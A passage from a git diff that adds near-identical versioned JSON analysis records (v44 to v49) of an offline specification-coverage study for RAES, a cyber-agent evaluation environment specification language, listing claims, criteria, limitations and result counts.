bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v43.json", + "docs/research/specification-coverage/analysis-v43.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-21", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained language corpus as evidence of control-plane profile guarantees.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1069-v40", + "snapshot_sha256": "ec9650517d11b8b35dab9e065a9d0455420ce810b507853dd222d07a9ec72f50" +} diff --git a/docs/research/specification-coverage/analysis-v44.json b/docs/research/specification-coverage/analysis-v44.json new file mode 100644 index 000000000..bd78a7931 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v44.json @@ -0,0 +1,100 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-218-v44", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v44.json", + "docs/research/specification-coverage/analysis-v44.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-21", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1338-v41", + "snapshot_sha256": "94a17b5a72221d862faabe628d49e38c0237483931d7496004d6e9ea2656f5b2" +} diff --git a/docs/research/specification-coverage/analysis-v45.json b/docs/research/specification-coverage/analysis-v45.json new file mode 100644 index 000000000..ec18c294c --- /dev/null +++ b/docs/research/specification-coverage/analysis-v45.json @@ -0,0 +1,101 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1357-v45", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v45.json", + "docs/research/specification-coverage/analysis-v45.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-24", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Issue #1357 governed v2 admission is covered by dedicated runtime and crossing tests, not promoted to a new claim by the retained offline specification corpus." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix still demonstrates the same bounded SDL coverage on the current implementation. Governed v2 action admission is tested separately; no runtime authorization or live backend claim is derived from this offline corpus.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1357-v45", + "snapshot_sha256": "ab68c6e8c36ceea3dd1e6ec7a31c521bc06e740c82d6f198b144cad998fdfebd" +} diff --git a/docs/research/specification-coverage/analysis-v46.json b/docs/research/specification-coverage/analysis-v46.json new file mode 100644 index 000000000..6dae13335 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v46.json @@ -0,0 +1,101 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1358-v46", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v46.json", + "docs/research/specification-coverage/analysis-v46.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-24", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Issue #1358 final-egress denial remains covered by dedicated runtime tests, not by this retained SDL matrix." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1358-v46", + "snapshot_sha256": "5bb638585496ce0740f74a7336c10e02c9436f645944c0fa22cad714236f12e7" +} diff --git a/docs/research/specification-coverage/analysis-v47.json b/docs/research/specification-coverage/analysis-v47.json new file mode 100644 index 000000000..47b018795 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v47.json @@ -0,0 +1,102 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1358-v47", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v47.json", + "docs/research/specification-coverage/analysis-v47.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-25", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Issue #1358 final-egress denial remains covered by dedicated runtime tests, not by this retained SDL matrix.", + "The merged issue #1357 governed admission change is covered by dedicated v2 decision-surface tests; this retained SDL matrix makes no additional crossing-authority claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1358-v47", + "snapshot_sha256": "3c652c1e515ae6fe991d9b09c3e684c4f6163940ac863eafaf2bf2fc71339a74" +} diff --git a/docs/research/specification-coverage/analysis-v48.json b/docs/research/specification-coverage/analysis-v48.json new file mode 100644 index 000000000..55e9f1acd --- /dev/null +++ b/docs/research/specification-coverage/analysis-v48.json @@ -0,0 +1,101 @@ +{ + "analysis_id": "issue-1360-specification-coverage-v48", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v48.json", + "docs/research/specification-coverage/analysis-v48.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-25", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays explicit participant affiliations, objective ownership, and assignment using abstract action contracts. Classification counts and untested concepts are unchanged; no execution authority or live backend behavior is inferred.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "issue-1360-specification-coverage-v48", + "snapshot_sha256": "2530721787df71394d468dc11985e77c4ceedddb3deb5c74db1faf23cb24070c" +} diff --git a/docs/research/specification-coverage/analysis-v49.json b/docs/research/specification-coverage/analysis-v49.json new file mode 100644 index 000000000..97b1b3931 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v49.json @@ -0,0 +1,101 @@ +{ + "analysis_id": "issue-1360-specification-coverage-v49", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v49.json", + "docs/research/specification-coverage/analysis-v49.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-25", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane 